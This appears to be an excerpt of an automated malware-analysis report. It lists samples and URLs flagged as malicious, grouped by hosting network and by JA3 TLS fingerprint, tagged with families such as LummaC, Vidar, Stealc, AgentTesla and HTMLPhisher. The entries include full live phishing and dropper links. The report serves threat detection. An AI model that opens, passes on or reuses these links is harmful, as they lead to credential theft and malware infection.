	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	104.16.40.28
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	104.21.23.186
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
FASTLYUS	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	151.101.129.44
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	185.199.110.133
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	151.101.194.109
CLOUDFLARENETUS	SecuriteInfo.com.Win32.PWSX-gen.19404.14810.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse	104.16.231.132
	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	172.66.0.235
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	162.159.140.237
	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	104.16.40.28
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	104.21.23.186
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
FASTLYUS	https://statics.teams.cdn.office.net/evergreen-assets/safelinks/1/atp-safelinks.html?url=https%3A%2F%2Fphpstack-1335745-4931432.cloudwaysapps.com%2F%23%26%26%2B~XanJlZEBwcm9hZy5jb20=&locale=en-us&dest=https%3A%2F%2Fteams.microsoft.com%2Fapi%2Fmt%2Fpart%2Famer-03%2Fbeta%2Fatpsafelinks%2Fgeturlreputationsitev2%2F&pc=dqIG3sYngZE8N2eRBkF7CAkOWKg5g3tGjnQGJGQlc61U8QGlKCs5AzH6JKtW7FyetS1g5oEXSNBKJVlJbTCgrea0O041dBSjafsPfOc5KxbMkQRnpwalZQdhHfcjoeWL7rzuDGG%252fj2e7scaAUTCy2PY0WmBb87rgNNPdmEQne%252f00jq9aOpwCvhJrGkNK5f8MP5jaUwccFhr9IIoVaCOrXUhSnuRv%252fw%252bxhUGpneOsAgBs7CjJQbmepBIHfEqwCkqvDbYbxYB4Hm9sLVAOFaz9VFMFSXPJt4MqeWAChikWLAZATmvniptR3h97WVF%252fZtjtm3RxdNyPROzhUvL92w9fdWmSw%252bHBxn5rMHOUpaQU16ZpcfATiVaU51fqKaYO2v4ZnK7axAavLgOpgAJivuE6JO2sqksPH41Z6PVam5c4J%252bwwz5Z2pqrOSxPxEcPGeDff%252bxp9PApNxpvURRLl98WzRw%252ftZEOu%252foKPhjN0OiTGAQDLRWTF%252bMCzSQg37tk7ZYUYYc0Ycs4xDjchhFprJCCSfrZ8WyHq6cjqmnbgDKRQig28xGNFnSDEeWMDBQeeeVyNqDv0FAAxkSAMO%252b7t4Qu1y0h0MHJYEb5pxfOYe8Pyfcsn7pyR%252fkKEqziEQVGlIETrpjVMNyrhJrnX9S%252flWaxf0H3tD%252fqMhzPysO9QdPSJTG054WE4jq5GRqTKu8P25t4KJLY15Oz2j5iCg7Bd5lczhgv4PQevplLuCGckM%252fs5EPk2r2FkSOxHF51EB5FR2TgXQR5UAp2BbaWTm9irKwSSUK5z1MsGMDokVMEB4bQ9mpZrl1%252bDMixJ1mQyyLXpelmEyN8zw1nTsbXAvDQgIvPLPj0QUtphEMnmVEXMkQHiw2WHWUSxIxYcY%252fltyp6bnMrankPAnpChbWQmk95rKsUz8tqtLjNDclK1y1FLy%252fh7sed9duxDDFupXnhmXxGJOmUV6FG1arxXL8urm1F98thG8anfchv3DafKsyVHHgmdUFNH6Uhcu4sB8fo0kqm2y7IWS96w5BeG334JvnFDJPLDPvtK5ojeXfDXh%252boKJdBxXGC9NmPwgDp8XeOavQnNlJRfUAXkhukdjDg1EHGF%252b9luUuTH%252fEbKHniTzx4OvIWUnDvXcdpuEIAnW8mDJzMXpmxpl3nwtTqeQWMeSNzjute9yTZEU%252beQk498EMyU%252fuPUg%252fSOH5r%252fwjGCsPpm%252f%252bUA00SsNvWuDD0AbNIKYubFuNKQ3SX6N7M11wOksoUG%252fz9IheWtOawwl7F0lqN3xkTQhfiiHovdudAPiB%252fzt25Im27XxPQ9s1c%252bnOWOPh6m%252bvaCQcj6bcwkFbNl5Y1KL7XQvirYSFsNXnrYuQvTPMk1n5CRq6dxsl9FRGV9MMdrZduC%252bG4B0zxLA58d8fTW2zfEXnRcMTgQKLK%252fmeZT7K3wwAvQiA%253d%253d%3B%20expires%3DWed%2C%2009%20Oct%202024%2014%3A05%3A23%20GMT%3B%20path%3D%2F%3B%20SameSite%3DNone%3B%20secu	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://entertaininmotionre.pro/IQCm/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://kendellseafoods.com/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	151.101.194.137
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	151.101.129.44
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	185.199.110.133
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	151.101.194.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	23.1.237.91
	https://ipp.safetyworksolutions.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.1.237.91
	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	lCVFGKfczi.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	1f13Cs1ogc.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	SecuriteInfo.com.Win32.PWSX-gen.19404.14810.exe	Get hash	malicious	LummaC	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	+18365366724753456-83736-10244688.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	https://mailstat.us/tr/t/5w8u1qwlwl61e4h/1/https:/krediti.ca/#Y2FyYS5jJGNiZmxvb3JzaW5jLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	13.107.246.64 172.202.163.200 40.126.32.140
